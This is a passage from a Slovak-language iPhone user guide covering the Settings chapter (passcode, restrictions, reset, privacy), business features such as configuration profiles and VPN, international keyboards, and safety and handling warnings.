• iPhone a váš počítač sú pripojené k rovnakej bezdrôtovej sieti
• a na vašom počítači je spustená aplikácia iTunes.
Vyhľadávanie Spotlight
V nastaveniach vyhľadávania Spotlight môžete určiť obsah, ktorý bude prehľadávaný a meniť
usporiadanie výsledkov vyhľadávania.
Nastavenie obsahu, v ktorom prebehne vyhľadávanie: Prejdite do Nastavenia > Všeobecné >
Spotlight vyhľadávanie a potom vyberte položky, ktoré chcete prehľadávať. Takisto môžete
zmeniť poradie výsledných kategórií.
Uzamykanie
Keď sa iPhone zamkne, znamená to, že sa kvôli úspore batérie a kvôli prevencii pred nechcenou
manipuláciou vypne displej zariadenia iPhone. Aj v tomto stave môžete prijímať hovory a
textové správy, nastavovať hlasitosť a používať tlačidlo mikrofónu na náhlavnej sade počas
počúvania hudby alebo počas hovoru.
Nastavenie času, po uplynutí ktorého sa iPhone zamkne: Prejdite do Nastavenia >
Všeobecné > Uzamykanie a vyberte čas.Kapitola 33 Nastavenia 143
Uzamykanie heslom
iPhone je spočiatku nastavený tak, aby pre odomknutie nevyžadoval zadanie hesla.
Nastavenie hesla: Prejdite do Nastavenia > Všeobecné > Uzamykanie heslom a nastavte
4-miestne heslo. Ak chcete zvýšiť úroveň bezpečnosti, vypnite Jednoduché heslo a použite
dlhšie heslo.
Ak zabudnete heslo, budete musieť obnoviť softvér svojho zariadenia iPhone. Viac v časti
Aktualizácia a obnova softvéru na zariadení iPhone na strane 159.
Povolenie prístupu, keď je iPhone zamknutý: Prejdite do Nastavenia > Všeobecné >
Uzamykanie heslom. Bez odomykania iPhonu môžete používať nasledovné:
• Siri (Viac v časti Nastavenie možností Siri na strane 43.)
• Hlasové vytáčanie (Toto nastavenie je dostupné, iba ak je Siri vypnuté.)
• Odpovedať správou (Viac v časti Prijímanie hovorov na strane 47.)
• Passbook (Viac v časti kapitola 16, Passbook, na strane 88.)
Vymazanie dát po desiatich neúspešných pokusoch o zadanie hesla: Prejdite do
Nastavenia > Všeobecné > Uzamykanie heslom a potom klepnite na Vymazať dáta. Po
desiatich neúspešných pokusoch o zadanie hesla budú resetované všetky nastavenia. Všetky
vaše informácie a médiá budú vymazané odstránením šifrovacieho kľúča (šifrované použitím
256-bitového AES šifrovania).
Obmedzenia
Môžete nastaviť obmedzenia niektorých aplikácií a zakúpeného obsahu. Tieto nastavenia
napríklad umožňujú rodičom obmedziť zobrazovanie mládeži neprístupného obsahu v
playlistoch alebo zabrániť inštalácii aplikácií.
Zapnutie obmedzení: Prejdite do Nastavenia > Všeobecné > Obmedzenia a potom klepnite na
Povoliť obmedzenia. Budete požiadaní o vytvorenie hesla pre obmedzenia. Vytvorenie hesla je
nevyhnutné pre zapnutie obmedzení. Jedná sa o iné heslo než to, ktorým odomykáte iPhone.
Dôležité: Ak zabudnete heslo pre obmedzenia, budete musieť obnoviť softvér svojho
zariadenia iPhone. Viac v časti Aktualizácia a obnova softvéru na zariadení iPhone na
strane 159.
Môžete nastaviť obmedzenia pre tieto aplikácie:
• Safari
• Kamera (ako aj aplikácií, ktoré používajú kameru)
• FaceTime
• iTunes Store
• iBookstore
• Siri (vrátane hlasových príkazov a diktovania)
Môžete obmedziť nasledovné:
• Inštalácia aplikácií: Služba App Store je zakázaná a jej ikona odstránená z plochy. Nemôžete
inštalovať aplikácie na iPhone.
• Vymazávanie aplikácií: Nemôžete vymazávať aplikácie zo zariadenia iPhone. sa pri úprave
plochy nezobrazí na ikonách aplikácií.
• Nevhodný jazyk: Siri sa pokúsi nahradiť nevhodné slová, ktoré poviete, hviezdičkou a zvukom
pípnutiaKapitola 33 Nastavenia 144
• Súkromie: Aktuálne nastavenia súkromia pre lokalizačné služby, Kontakty, Kalendár,
Pripomienky, Fotky, Bluetooth, zdieľanie, Twitter a Facebook môžete zamknúť.
• Účty: Aktuálne nastavenia Mail, kontakty, kalendáre sú zamknuté. Nemôžete pridávať,
upravovať alebo vymazávať účty. Taktiež nie je možné upravovať nastavenia iCloudu.
• Nájsť priateľov: Aktuálne nastavenia pre Nájsť priateľov sú zamknuté. Táto možnosť je
dostupná len ak je nainštalovaná aplikácia Nájsť priateľov.
• Obmedzenie hlasitosti: Aktuálne nastavenie obmedzenia hlasitosti je zamknuté.
• Nakupovanie v apl.: Keď je funkcia Nakupovanie v apl. vypnutá, nemôžete nakupovať
dodatočný obsah alebo funkcie v aplikáciách stiahnutých z App Store.
• Vyžadovať heslo: Vyžaduje zadanie Apple ID pre nakupovanie v aplikáciách po uplynutí
špecifikovaného času.
• Obmedzenia obsahu: Klepnite na Hodnotenie pre a zo zoznamu vyberte krajinu. Potom
nastavte obmedzenia pre hudbu, podcasty, filmy, TV seriály a aplikácie. Obsah, ktorý nespĺňa
vybrané hodnotenie sa na iPhone nezobrazí.
• Hry pre viacerých hráčov: Ak sú hry pre viacerých hráčov vypnuté, nie je možné odosielať
žiadosti na hry, odosielať či prijímať pozvánky na hranie hier či pridávať priateľov v
Game Center.
• Pridávanie priateľov: Ak je Pridávanie priateľov vypnuté, nemôžete v Game Center odosielať
alebo prijímať priateľské žiadosti. Ak je Pridávanie priateľov zapnuté, môžete sa hrať s
existujúcimi priateľmi.
Dátum a čas
Tieto nastavenia ovplyvňujú čas zobrazovaný v stavovom riadku vo vrchnej časti obrazovky,
svetový čas a kalendáre.
Prepínanie medzi 24-hodinovým a 12-hodinovým časom na iPhone: Vyberte Nastavenia >
Všeobecné > Dátum a čas a vypnite alebo zapnite 24-hodinový čas. (24-hodinový čas nemusí
byť dostupný vo všetkých oblastiach.)
Nastavenie automatickej aktualizácie dátumu a času na iPhone Prejdite do Nastavenia >
Všeobecné > Dátum a čas a vypnite alebo zapnite 24-hodinový čas. Ak ste nastavili zariadenie
iPhone na automatické nastavovanie času, správny čas získava z mobilnej siete a aktualizuje ho
podľa časového pásma, v ktorom sa momentálne nachádzate. Niektorí operátori nepodporujú
funkciu času cez mobilnú sieť a preto v niektorých oblastiach iPhone nemusí dokázať
automaticky zisťovať lokálny čas.
Manuálne nastavenie dátumu a času: Prejdite do Nastavenia > Všeobecné > Dátum a čas a
vypnite možnosť Nastaviť automaticky. Klepnutím na časové pásmo nastavte časové pásmo.
Klepnite na tlačidlo Dátum a čas a potom klepnite na Nastaviť dátum a čas.
Klávesnica
Môžete si zapnúť klávesnice pre zadávanie textu v rôznych jazykoch a ďalšie funkcie, ako je
napríklad kontrola pravopisu. Viac informácií o klávesnici nájdete v časti Písanie na strane 24.
Viac informácií o medzinárodných klávesniciach nájdete v časti Príloha B, Medzinárodné
klávesnice, na strane 150.Kapitola 33 Nastavenia 145
Medzinárodné
Prejdite do Nastavenia > Všeobecné > Medzinárodné a potom nastavte nasledovné:
• Jazyk iPhonu.
• Formát kalendára.
• Jazyk pre funkciu Ovládanie hlasom.
• Klávesnice, ktoré chcete používať.
• Formát dátumu, času a telefónnych čísel.
Prístupnosť
Prejdite do Nastavenia > Všeobecné > Prístupnosť a zapnite požadované funkcie. Viac v časti
kapitola 32, Prístupnosť, na strane 119.
Profily
Toto nastavenia sa zobrazí vtedy, ak na iPhone nainštalujete jeden alebo viac profilov.
Klepnutím na Profily zobrazíte informácie o nainštalovaných profiloch. Viac informácií nájdete v
časti Používanie konfiguračných profilov na strane 148.
Resetovanie
Resetovať môžete slovník klávesnice, nastavenia siete, rozloženie ikon na ploche a lokalizačné
upozornenia. Môžete tiež vymazať všetok svoj obsah a nastavenia.
Resetovanie zariadenia iPhone: Prejdite do Nastavenia > Všeobecné > Resetovať a vyberte
niektorú z možností:
• Resetovať všetky nastavenia: Všetky vaše nastavenia budú resetované na pôvodné.
• Vymazanie celého obsahu a všetkých nastavení: Budú vymazané všetky informácie
a nastavenia. iPhone nebude možné používať pred jeho opätovným nastavením.
• Resetovať nastavenia siete: Ak resetujete nastavenia siete, dôjde k vymazaniu zoznamu
známych sietí a tých nastavení VPN, ktoré neboli nainštalované pomocou konfiguračného
profilu. Wi-Fi sa vypne a znovu zapne, pričom vás odpojí od akejkoľvek práve používanej
siete. Wi-Fi a nastavenie „Potvrdiť pripojenie“ zostanú zapnuté. Ak chcete odstrániť
nastavenia VPN nainštalované pomocou konfiguračného profilu, prejdite do Nastavenia >
Všeobecné > Profil, klepnite na profil a potom na Odstrániť. Týmto tiež odstránite ďalšie
nastavenia alebo účty poskytnuté profilom.
• Resetovať slovník klávesnice: Do slovníka klávesnice sú slová pridané v prípade, že
odmietnete slová, ktoré vám iPhone pri písaní navrhuje. Resetovaním slovníka klávesnice
vymažete všetky slová, ktoré doň boli pridané.
• Resetovať rozloženie plochy: Bude obnovené pôvodné rozloženie ikon vstavaných aplikácií
na ploche.
• Resetovať polohu a súkromie: Resetuje lokalizačné služby a nastavenia súkromia na pôvodné.
Zvuky
iPhone môžete nastaviť tak, aby prehral zvuk pri každom prijatí novej správy, emailu, hovoru,
Tweetu, príspevku na Facebooku, odkazu alebo pripomienky. Zároveň môžete nastaviť
zvuky pre odoslanie emailu, stlačenie klávesu na dotykovej klávesnici alebo pre zamknutie
zariadenia iPhone.
Informácie o stíšení iPhonu nájdete v časti Prepínač Zvoniť/Ticho na strane 10.Kapitola 33 Nastavenia 146
Zmena nastavení zvukov: Prejdite do Nastavenia > Zvuky. Medzi dostupné možnosti patria:
• Nastavenie vibrovania iPhonu pri prichádzajúcom hovore.
• Nastavenie vibrovania iPhonu v tichom režime.
• Úprava hlasitosti vyzváňania a upozornení.
• Vypnutie zmeny hlasitosti vyzváňania prostredníctvom bočných tlačidiel.
• Nastavenie zvonenia. Ak chcete priradiť nejakej osobe konkrétne zvonenie, prejdite do jej
vizitky v aplikácii Kontakty.
• Nastavenie upozornenia a ďalších zvukov.
• Zapnutie zvukov klávesnice a zvuku zamykania iPhonu.
Nastavenie vibrovania: Prejdite do Nastavenia > Zvuky a potom v zozname Zvuky a
vibrovania vyberte položku. Klepnutím na Vibrovanie vyberte niektoré z nich.
• Vytvorenie nového vibrovania: Klepnite na položku v zozname Zvuky a vibrovania a potom
klepnite na Vibrovanie. Klepnite na Vytvoriť nové vibrovanie a potom klepaním na obrazovku
vytvorte vlastné vibrovanie.
Jas a pozadie
Jas obrazovky ovplyvňuje výdrž batérie. Pre predĺženie času, počas ktorého nebude nutné
iPhone nabíjať, stlmte jas obrazovky, prípadne použite funkciu Automatický jas.
Nastavenie jasu obrazovky: Prejdite do Nastavenia > Jas a pozadie a potiahnite posuvník.
Ak je funkcia Automatický jas zapnutá, iPhone sám nastavuje jas obrazovky podľa aktuálneho
osvetlenia, hodnotu ktorého získava pomocou vstavaného svetelného senzora.
Nastavenia pozadia vám umožnia nastaviť obrázok alebo fotku ako pozadie pre zamknutú
obrazovku alebo pre plochu. Viac v časti Zmena pozadia na strane 23.
Súkromie
Nastavenia Súkromia vám umožňujú kontrolovať prístup aplikácií a systémových služieb k
lokalizačným službám, kontaktom, kalendárom, pripomienkam a fotkám.
Lokalizačné služby umožňujú aplikáciám ako Pripomienky, Mapy a Kamera, ktoré sú založené
na určovaní polohy, získavať a používať dáta určujúce vašu polohu. Vaša približná poloha je
stanovená pomocou dostupných informácií z mobilnej dátovej siete, miestnych Wi-Fi sietí (v
prípade, že máte zapnuté Wi-Fi) a GPS (nemusí byť dostupné vo všetkých oblastiach). Dáta
získavané spoločnosťou Apple nie sú vo formáte, ktorý by umožňoval identifikovať vašu osobu.
Ak aplikácia používa lokalizačné služby, v stavovom riadku sa zobrazí .
Zapnutie alebo vypnutie lokalizačných služieb: Prejdite do Nastavenia > Súkromie >
Lokalizačné služby. Môžete ich zapnúť alebo vypnúť pre niektoré alebo pre všetky aplikácie a
služby. Ak vypnete lokalizačné služby, budete vyzvaný k ich opätovnému zapnutiu v prípade,
že sa ich nejaká aplikácia alebo služba pokúsi použiť.
Vypnutie lokalizačných služieb pre systémové služby: Lokalizačné služby využíva niekoľko
systémových služieb. Napríklad kalibrácia kompasu alebo iAds založené na polohe. Ak chcete
zobraziť ich stav, zapnite ich alebo vypnite, prípadne zapnite zobrazovanie ikony v lište.
Táto ikona indikuje používanie lokalizačných služieb. Prejdite do Nastavenia > Súkromie >
Lokalizačné služby > Systémové služby.Kapitola 33 Nastavenia 147
Vypnutie prístupu k súkromným informáciám: Prejdite do Nastavenia > Súkromie. Zobrazí sa
zoznam aplikácií, ktoré požiadali o prístup k nasledovným informáciám:
• Kontakty
• Kalendár
• Pripomienky
• Fotky
• Zdieľanie Bluetooth
• Twitter
• Facebook
Môžete vypnúť prístup každej z aplikácií ku každej jednej kategórii. Ak chcete zistiť, ako
aplikácie tretích strán používajú vyžadované dáta, pozorne si prečítajte ich zmluvné
podmienky a zásady ochrany osobných údajov.A
148
Vďaka podpore zabezpečeného prístupu do firemných sietí a adresárov a podpore Microsoft
Exchange je iPhone pripravený na používanie vo firemnom prostredí. Detailné informácie
týkajúce sa používania iPhonu vo firme nájdete na adrese www.apple.com/iphone/business.
Používanie konfiguračných profilov
Vo firemnom prostredí je často možné nastaviť na iPhone účty a iné položky pomocou
konfiguračných profilov. Konfiguračné profily umožňujú vášmu správcovi nastaviť iPhone na
používanie informačných systémov vo vašej firme, škole alebo organizácii. Konfiguračný profil
môže napríklad nastaviť iPhone na prístup k serverom Microsoft Exchange v práci, takže na
ňom bude možné pristupovať k Exchange emailom, kalendárom a kontaktom a zároveň môže
kvôli zabezpečeniu informácií zapnúť uzamykanie heslom.
Váš správca môže distribuovať konfiguračné profily emailom, umiestniť ich na zabezpečenú
webovú stránku alebo ich priamo nainštalovať na váš iPhone. Váš správca môže na iPhone
nainštalovať profil, ktorý ho prepojí so serverom na správu mobilných zariadení, takže bude
možné upravovať nastavenia iPhonu na diaľku.
Inštalácia konfiguračných profilov: Na iPhone otvorte emailovú správu alebo si stiahnite
konfiguračné profily z webovej stránky, ktorú poskytol správca. Po otvorení konfiguračného
profilu sa spustí inštalácia.
Dôležité: Zrejme budete požiadaní o potvrdenie dôveryhodnosti konfiguračného profilu. Ak si
nie ste istí, overte to si pred inštaláciou dôveryhodnosť profilu u svojho správcu.
Nastavenia upravené konfiguračným profilom nemôžete meniť. Ak chcete zmeniť nastavenia,
musíte najprv odinštalovať konfiguračný profil alebo nainštalovať nový konfiguračný profil s
novými nastaveniami.
Odstránenie konfiguračného profilu: Prejdite do Nastavenia > Všeobecné > Profil, vyberte
konfiguračný profil a klepnite na Odstrániť.
Odstránením konfiguračného profilu dôjde k vymazaniu nastavení a všetkých ostatných
informácií nainštalovaných profilom.
Nastavenie Microsoft Exchange účtov
Microsoft Exchange poskytuje email, kontakty, úlohy a kalendáre, ktoré môžete automaticky
bezdrôtovo synchronizovať s iPhonom. Exchange účet môžete nastaviť priamo na iPhone.
Nastavenie Exchange účtu na iPhone: Prejdite do Nastavenia > Mail, kontakty, kalendáre.
Klepnite na Pridať účet a potom klepnite na Microsoft Exchange. Nastavenia zistíte u svojho
poskytovateľa služby alebo správcu.
iPhone ako pracovný nástroj
PrílohaPríloha A iPhone ako pracovný nástroj 149
VPN prístup
VPN (Virtuálna privátna sieť) poskytuje zabezpečený prístup do súkromných sietí — napríklad
vo vašej firme alebo v škole — prostredníctvom internetu. Na konfiguráciu a zapnutie VPN na
iPhone použite nastavenia Siete. Nastavenia VPN získate od svojho správcu.
VPN je možné nastaviť aj automaticky pomocou konfiguračného profilu. Ak je VPN nastavené
pomocou konfiguračného profilu, iPhone môže zapínať VPN automaticky podľa potreby. Viac
informácií získate u svojho správcu.
LDAP a CardDAV účty
Nastavením LDAP účtu umožníte prezeranie a vyhľadávanie kontaktov na LDAP serveri vašej
organizácie. Server sa zobrazí ako nová skupina v aplikácii Kontakty. LDAP kontakty nebudú
stiahnuté na váš iPhone, takže si ich môžete prezerať len ak máte pripojenie na internet.
Nastavenia účtu a ďalšie požiadavky (napríklad VPN) získate u svojho správcu.
Nastavením CardDAV účtu umožníte bezdrôtovú aktualizáciu kontaktov s iPhonom. Zároveň
bude možné vyhľadávať kontakty na CardDAV serveri vašej organizácie.
Nastavenie LDAP alebo CardDAV účtu: Prejdite do Nastavenia > Mail, kontakty, kalendáre
a klepnite na Pridať účet. Klepnite na Iný. Nastavenia zistíte u svojho poskytovateľa služby
alebo správcu.B
150
Medzinárodné klávesnice vám umožňujú písať text v rôznych jazykoch, vrátane ázijských
jazykov so smerom písania sprava doľava.
Používanie medzinárodných klávesníc
Medzinárodné klávesnice vám umožňujú písať text v rôznych jazykoch, vrátane ázijských
jazykov so smerom písania sprava doľava. Zoznam podporovaných klávesníc nájdete na adrese
www.apple.com/iphone/specs.html.
Spravovanie klávesníc: Prejdite do Nastavenia > Všeobecné > Medzinárodné > Klávesnice.
• Pridanie klávesnice: Klepnite na Pridať klávesnicu a v zozname vyberte požadovanú
klávesnicu. Pre pridanie ďalších klávesníc zopakujte tento postup.
• Odstránenie klávesnice: Klepnite na Upraviť, klepnite na vedľa klávesnice, ktorú chcete
odstrániť a potom klepnite na Vymazať.
• Úprava zoznamu klávesníc: Klepnite na Upraviť a potom potiahnite vedľa klávesnice na
nové miesto v zozname.
Ak chcete zadávať text v inom jazyku, prepnite klávesnice.
Prepínanie klávesníc počas písania: Podržte stlačený kláves Glóbus pre zobrazenie
všetkých povolených klávesníc. Pre výber klávesnice presuňte prst na názov klávesnice
a potom ho zdvihnite. Kláves Glóbus sa zobrazí len v prípade, ak je povolená viac ako
jedna klávesnica.
Môžete tiež klepnúť na . Po klepnutí na sa na krátky okamih zobrazí názov novo
aktivovanej klávesnice. Ďalším klepnutím na toto tlačidlo prepínate na ostatné
povolené klávesnice.
Množstvo klávesníc umožňuje zadávanie písmen, číslic a symbolov, ktoré nie sú zobrazené
na klávesnici.
Zadávanie písmen s diakritikou alebo iných znakov: Podržte prst na súvisiacom písmene,
číslici alebo znaku a potom ho presuňte na požadovaný variant. Napríklad:
• Na thajskej klávesnici: Thajské číslo vyberte dotykom a podržaním prsta na príslušnom
arabskom čísle.
• Na čínskej, japonskej alebo arabskej klávesnici: Navrhované znaky alebo alternatívy sa
zobrazujú v hornej časti klávesnice. Klepnutím na kandidáta ho zadáte a švihnutím prsta
doľava zobrazíte ďalších kandidátov.
Používanie rozšíreného zoznamu kandidátov: Pre zobrazenie celého zoznamu kandidátov
klepnite na šípku nahor (nachádza sa vpravo).
• Rolovanie zoznamom: Švihnite prstom nahor alebo nadol.
• Návrat na krátky zoznam: Klepnite na šípku nadol.
Medzinárodné klávesnice
PrílohaPríloha B Medzinárodné klávesnice 151
Pri používaní istých čínskych alebo japonských klávesníc si môžete vytvoriť skratky pre páry
slov a vstupov. Skratky budú pridané do vášho osobného slovníka. Ak zadáte skratku a zároveň
používate podporovanú klávesnicu, bude skratka nahradená príslušným slovom.
Vypnutie alebo zapnutie skratiek: Prejdite do Nastavenia > Všeobecné > Klávesnica > Skratky.
Skratky sú dostupné pre:
• Zjednodušená čínština: Pinyin
• Tradičná čínština: Pinyin a Zhuyin
• Japončina: Romaji a 50-klávesová
Špeciálne spôsoby zadávania
Klávesnice môžete používať na zadávanie textu v niektorých jazykoch rôznymi spôsobmi.
Medzi niekoľko príkladov patria čínske Cangjie, Wubihua a japonská Kana a Facemarks. Zároveň
môžete prstom alebo pomocou stylusu písať čínske znaky priamo na obrazovke.
Skladanie čínskych znakov z jednotlivých Cangjie klávesov: Navrhované znaky sa zobrazia
počas písania. Vyberte znak klepnutím, prípadne pokračujte v zadávaní najviac piatich
komponentov pre zobrazenie ďalších možností.
Skladanie čínskych znakov Wubihua (ťahmi): Použite klávesnicu na skladanie čínskych
znakov pomocou najviac piatich ťahov v správnom poradí: vodorovne, zvislo, zľava dovnútra,
sprava dovnútra a háčik. Napríklad čínsky znak 圈 (kruh) by mal začať vertikálnym ťahom 丨.
• Počas písania sa budú zobrazovať navrhované čínske znaky (ako prvé sa zobrazia
najpoužívanejšie znaky). Klepnutím vyberiete znak.
• Ak si nie ste istí správnosťou ťahu, zadajte hviezdičku (*). Ak chcete zobraziť ďalšie možnosti
znakov, zadajte ďalší ťah, prípadne ho vyberte v zozname znakov.
Klepnite na kláves pre zhodu (匹配), ak chcete zobraziť len znaky presne zodpovedajúce tomu,
čo ste napísali.
Písanie čínskych znakov prstom: Čínske znaky píšte prstom priamo na obrazovku so
zapnutým rukopisným formátom Zjednodušená alebo Tradičná čínština. iPhone bude
rozpoznávať písmená počas písania ťahom a zobrazovať zhodné znaky v zozname (znaky
s najväčšou zhodou sú zobrazené vo vrchnej časti zoznamu). Keď si vyberiete nejaký znak,
zobrazí sa v zozname súvisiacich znakov znak, ktorý za ním pravdepodobne nasleduje
Touchpad Touchpad
Niektoré komplexné znaky, ako napríklad 鱲 (súčasť názvu medzinárodného letiska
v Hongkongu), 𨋢 (výťah) a 㗎 súčasť používaná v kantónskej čínštine), je možné vytvoriť
napísaním dvoch alebo viacerých súčastí za sebou. Klepnite na znak pre nahradenie písaných
znakov. Rozpoznávané sú aj znaky typu Roman.Príloha B Medzinárodné klávesnice 152
Písanie v japonskej kane: Použite Kana klávesnicu pre výber slabík. Pre väčší výber slabík
klepnite na kláves šípka a v okne vyberte ďalšiu slabiku alebo slovo.
Písanie v japonskej romaji: Na zadávanie slabík použite Romaji klávesnicu. Alternatívne
slabiky sa zobrazujú vo vrchnej časti klávesnice. Zadáte ich klepnutím na ne. Pre väčší výber
slabík klepnite na kláves šípka a v okne vyberte ďalšiu slabiku alebo slovo.
Písanie znakov Facemark a emotikonov: Použite japonskú klávesnicu Kana a klepnite na
kláves ^_^. Prípadne môžete:
• Použiť japonskú klávesnicu Romaji (QWERTY – japonské rozloženie): Klepnite na kláves pre
číslice a následne na kláves ^_^.
• Použiť čínsku klávesnicu Pinyin (zjednodušená alebo tradičná) alebo Zhuyin (tradičná). Klepnite
na kláves pre symboly a následne na kláves ^_^.C
153
Dôležité informácie týkajúce sa bezpečnosti
UPOZORNENIE: Nedodržanie nasledovných bezpečnostných pokynov môže viesť k
vzniku požiaru, elektrického šoku alebo iného zranenia, prípadne k poškodeniu iPhonu
alebo iného majetku. Pred používaním iPhonu so prečítajte všetky nižšie uvedené
bezpečnostné informácie.
Zaobchádzanie S iPhonom zaobchádzajte opatrne. Je vyrobený z kovu, skla a plastov a
obsahuje citlivé elektronické komponenty. iPhone sa môže poškodiť pri páde, zapálení,
prepichnutí alebo stlačení, prípadne ak príde do kontaktu s tekutinou. Používanie
poškodeného iPhonu (napríklad s prasknutou obrazovkou) by mohlo mať za následok
zranenie. Ak sa obávate škrabancov, zvážte používanie obalu.
Oprava Neotvárajte iPhone a nepokúšajte sa ho sami opraviť. Rozoberanie iPhonu
môže viesť k zraneniu alebo k poškodeniu iPhonu. Ak je iPhone poškodený,
nefunguje alebo prišiel do kontaktu s tekutinou, kontaktujte spoločnosť Apple alebo
autorizovaného poskytovateľa servisu Apple. Viac informácií o servise získate na stránke
www.apple.com/support/iphone/service/faq.
Batéria Nepokúšajte sa vymieňať batériu v iPhone. Mohli by ste ju poškodiť, čo môže mať za
následok prehriatie zariadenia a zranenie osôb. Lítiumiónová batéria by mala byť vymieňaná
len spoločnosťou Apple alebo autorizovaným poskytovateľom servisu Apple a musí byť
recyklovaná alebo zlikvidovaná oddelene od odpadu z domácnosti. Batériu sa nepokúšajte
spáliť. Informácie o recyklácii a výmene batérií nájdete na adrese www.apple.com/sk/batteries.
Strata pozornosti Používanie iPhonu vás môže v niektorých situáciách rozptyľovať a viesť k
vzniku nebezpečných situácií. Oboznámte sa s pravidlami, ktoré zakazujú alebo obmedzujú
používanie mobilných telefónov alebo slúchadiel (vyhnite sa napríklad posielaniu textových
správ počas šoférovania alebo počúvaniu hudby prostredníctvom slúchadiel počas
bicyklovania).
Navigácia Mapy, smery, Flyover a aplikácie založené na určovaní polohy sú závislé na dátových
službách. Tieto údaje a služby sa môžu meniť a nemusia byť dostupné vo všetkých oblastiach,
čo môže spôsobiť, že mapy, smery, Flyover alebo informácie stanovujúce polohu môžu byt
nedostupné, nepresné alebo neúplné. Porovnajte informácie získané pomocou iPhonu
so svojím okolím a korigujte tak akékoľvek nezrovnalosti. Niektoré funkcie aplikácie Mapy
vyžadujú lokalizačné služby. Viac v časti Súkromie na strane 146. Počas navigácie sa riaďte
zdravým rozumom.
Bezpečnosť, zaobchádzanie a
podpora PrílohaPríloha C Bezpečnosť, zaobchádzanie a podpora 154
Nabíjanie iPhone nabíjajte pomocou priloženého USB kábla a napájacieho adaptéra, prípadne
pomocou iných káblov a napájacích adaptérov tretích strán, ktoré sú označené logom „Made
for iPhone“ (Vyrobené pre iPhone), kompatibilné s USB 2.0 a spĺňajú jednu alebo viacero
nasledovných noriem EN 301489-34, IEC 62684, YD/T 1591-2009, CNS 15285, ITU L.1000,
prípadne inú vyhovujúcu normu, ktorá zaručuje kompatibilitu napájacích adaptérov mobilných
telefónov. Pripojenie iPhonu k niektorých kompatibilným napájacím adaptérom môže
vyžadovať iPhone Micro USB adaptér (dostupný v niektorých oblastiach) alebo iný adaptér.
Používanie poškodených káblov alebo nabíjačiek, prípadne nabíjanie vo vlhkom prostredí
môže spôsobiť elektrický šok. Ak na nabíjanie iPhonu používate napájací USB adaptér, uistite sa
pred jeho zasunutím do zásuvky, že je správne zložený (napájacia zástrčka alebo napájací kábel
musia byť správne zasunuté do adaptéra). Napájacie adaptéry sa počas bežného používania
môžu zohriať a pri dlhšom kontakte by mohli spôsobiť zranenie. Počas používania napájacieho
adaptéra vždy zabezpečte adekvátne vetranie.
Poznámka: Kompatibilné sú len micro USB adaptéry v určitých oblastiach, ktoré spĺňajú
príslušné štandardy kompatibility napájacích adaptérov pre mobilné telefóny. Ak chcete zistiť,
či váš micro USB adaptér spĺňa tieto štandardy, kontaktujte jeho výrobcu.
Poškodenie sluchu Počúvanie zvuku s vysokou úrovňou hlasitosti môže mať za následok
poškodenie sluchu. Zvuk istej úrovne sa pri dlhšom počúvaní môže javiť tichší, ako je v
skutočnosti. Podobný vplyv na vnímanie hlasitosti zvuku môže mať aj hluk na pozadí. Pred
používaným slúchadiel najprv zapnite zvuk a skontrolujte jeho hlasitosť. Viac informácií
o poškodení sluchu nájdete na adrese www.apple.com/sound. Informácie o nastavení
obmedzenia maximálnej hlasitosti nájdete v časti Nastavenia aplikácie Hudba na strane 66.
UPOZORNENIE: Ak chcete predísť poškodeniu sluchu, nepočúvajte zvuk s vysokou úrovňou
hlasitosti po dlhšiu dobu.
Apple náhlavné sady Náhlavné sady predávané s iPhonom 4S a novšími modelmi v Číne
(môžete ich rozpoznať podľa tmavých izolačných krúžkov na konektore) boli navrhnuté tak,
aby spĺňali čínske štandardy a sú kompatibilné so zariadeniami iPhone 4S a novšími modelmi,
iPad 2 a novšími modelmi a iPod touch 5. generácie. So svojím zariadením používajte len
kompatibilné náhlavné sady.
Rádiové signály iPhone používa na pripájanie k bezdrôtovým sieťam rádiové signály.
Informácie o množstve energie používanej na prenos týchto signálov a o minimalizácii rizika
vystavovania sa týmto vyžarovaniu nájdete v časti Nastavenia > Všeobecné > Informácie >
Právne > RF žiarenie
Rádiofrekvenčné rušenie Venujte pozornosť značkám a upozorneniam, ktoré zakazujú alebo
obmedzujú používanie mobilných telefónov (napríklad v zdravotníckych zariadeniach alebo
pri odpaľovacích prácach). Aj keď bol iPhone navrhnutý, testovaný a vyrobený tak, aby spĺňal
normy týkajúce sa rádiofrekvenčného vyžarovania, môže takéto vyžarovanie iPhonu negatívne
ovplyvniť prevádzku iných elektronických zariadení a spôsobiť ich poruchy. Na miestach, kde
je to zakázané, ako napríklad na palube lietadla, vypnite iPhone alebo použite režim lietadlo,
ktorý vypne bezdrôtové vysielače iPhonu.Príloha C Bezpečnosť, zaobchádzanie a podpora 155
Zdravotné prístroje iPhone obsahuje vysielače, ktoré vytvárajú elektromagnetické polia.
Tieto elektromagnetické polia môžu spôsobiť rušenie kardiostimulátorov alebo iných
zdravotných prístrojov. Ak máte kardiostimulátor, dodržujte vzdialenosť najmenej 15 cm medzi
kardiostimulátorom a iPhonom. Ak máte podozrenie, že iPhone spôsobuje rušenie vášho
kardiostimulátora alebo iného zdravotného prístroja, prestaňte používať iPhone a obráťte
sa na svojho lekára. iPhone obsahuje v spodnej časti magnety a priložené slúchadlá taktiež
obsahujú magnety, ktoré môžu spôsobiť rušenie kardiostimulátorov, defibrilátorov a ďalších
zdravotných prístrojov Dodržujte vzdialenosť najmenej 15 cm medzi kardiostimulátorom alebo
defibrilátorom a iPhonom alebo slúchadlami.
Zdravotný problémy Ak máte akékoľvek zdravotné problémy, na ktoré by iPhone mohol
mať vplyv (napríklad závrate, stratu vedomia, bolesti očí alebo hlavy), konzultujte ich pred
používaním iPhonu so svojim lekárom.
Explozívne ovzdušie Nenabíjajte iPhone na žiadnych miestach s potenciálne explozívnym
ovzduším, ako sú napríklad čerpacie stanice alebo miesta, kde vzduch obsahuje chemikálie
alebo iné častice (ako napríklad prach alebo železný prach). Dodržiavajte inštrukcie a príkazy.
Opakované pohyby Pri vykonávaní opakovaných pohybov počas práce s iPhonom, ako je
napríklad písanie alebo hranie hier, môžete občas pociťovať bolesti dlaní, rúk, ramien, krku
alebo iných častí tela. Ak sa u vás vyskytnú takéto bolesti, konzultujte ich so svojim lekárom.
Rizikové aktivity Toto zariadenie nebolo navrhnuté na používanie na miestach, kde
by jeho zlyhanie mohlo viesť k smrti, zraneniu osôb alebo závažnému poškodeniu
životného prostredia.
Riziko zadusenia Niektoré z príslušenstva iPhonu môže predstavovať riziko zadusenia pre
malé deti. Uchovávajte takéto príslušenstvo mimo dosahu malých detí.
Dôležité informácie týkajúce sa zaobchádzania
Čistenie iPhone vyčistite okamžite keď príde do kontaktu s akýmikoľvek látkami, ktoré môžu
spôsobiť škvrny, ako napríklad nečistoty, atrament, líčidlá alebo kozmetické prípravky. Čistenie:
